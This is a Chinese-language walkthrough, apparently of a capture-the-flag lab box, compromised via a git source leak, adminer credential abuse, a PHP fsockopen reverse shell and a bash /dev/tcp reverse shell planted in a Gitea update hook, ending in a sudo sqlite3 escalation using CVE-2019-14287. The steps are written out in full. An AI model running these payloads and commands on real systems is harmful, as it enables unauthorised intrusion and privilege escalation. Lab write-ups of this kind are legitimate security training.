1 信息收集
1.1 主机发现
arp-scan -l
发现主机IP地址为“192.168.1.11
1.2 端口发现
nmap -sS -sV -A -T5 -p- 192.168.1.11
发现端口为:22,80,8585
1.3 目录扫描
dirsearch -u 192.168.1.11
发现存在git泄露
2 文件和端口访问
2.1 80 端口访问
2.2 8585端口
发现是一个git平台
2.3 adminer.php
是数据库管理器
2.4 backend/backend/auth
页面是:管理员后台登录
3 渗透过程
3.1 git泄露
由于80端口网站存在Git源码泄露,通过GitHack下载其Git源码,如下:
GitHack地址
https://github.com/lijiejie/GitHack
python GitHack.py -u http://192.168.1.11/.git/
查看config文件中的database.php文件
发现mysql的账号和密码。
3.2 数据库添加用户
登录adminer.php后台地址
发现用户
新建一个用户test,密码为123456,提到管理员
3.3 登录后台
用户密码:test/123456
3.4 写入反弹shell
写入反弹shell,地址为kali地址,端口为7777端口,nc监听7777端口
function onStart(){ //nc监听7777端口 $s=fsockopen("192.168.1.52",7777); $proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes); }
监听7777端口
┌──(root㉿xuegod52)-[~/桌面] └─# nc -lvnp 7777 listening on [any] 7777 ...
访问主页面
反弹成功
3.5 获取gitea密码
权限还是太低了,再提高shell权限
再/var/下发现备份文件app.ini.bak
文件有如下内容
还是回到adminer.php用上边提供的账号密码和数据库进行登录
在user表下发现frank用户数据,加密方式是pbkdf2
还是老办法,无法解密就尝试给他改密码,修改加密方式
3.5.1 修改frank密码
修改加密方式为:Bcrypt
密码改为:123456
加密网站:Bcrypt密码生成计算器 - 计算专家
修改后如下
用账号密码登录8585端口的后端frank/123456
3.5.2 写入反弹shell
写入反弹shell,注意最下边点保存
进入项目 >> Settings >> Git Hooks >> Update 写上bash反弹命令保存,Kali这边nc监听,更新项目任意文件即可收到会话。
bash -c "exec bash -i >& /dev/tcp/192.168.1.52/5555 0>&1"
保存后kali启动监听,在项目中任意修改文件并保存,即可拿到shell
http://192.168.1.11:8585/frank/devguru-website/_edit/master/README.md
4 提权
4.1 sudo 提权
首先使用sudo -l查看可以使用sudo提权的命令,在GTFOBins中搜索sqlite3
sudo sqlite3 /dev/null '.shell /bin/sh'
版本问题,sudo 又有个历史漏洞
就是 sudo 版本 1.8.21 存在 CVE-2019-14287 漏洞 CVE-2019-14287:sudo权限绕过漏洞分析与复现_运行
漏洞复现
将命令修改整理后:
sudo -u#-1 /usr/bin/sqlite3 /dev/null '.shell /bin/sh'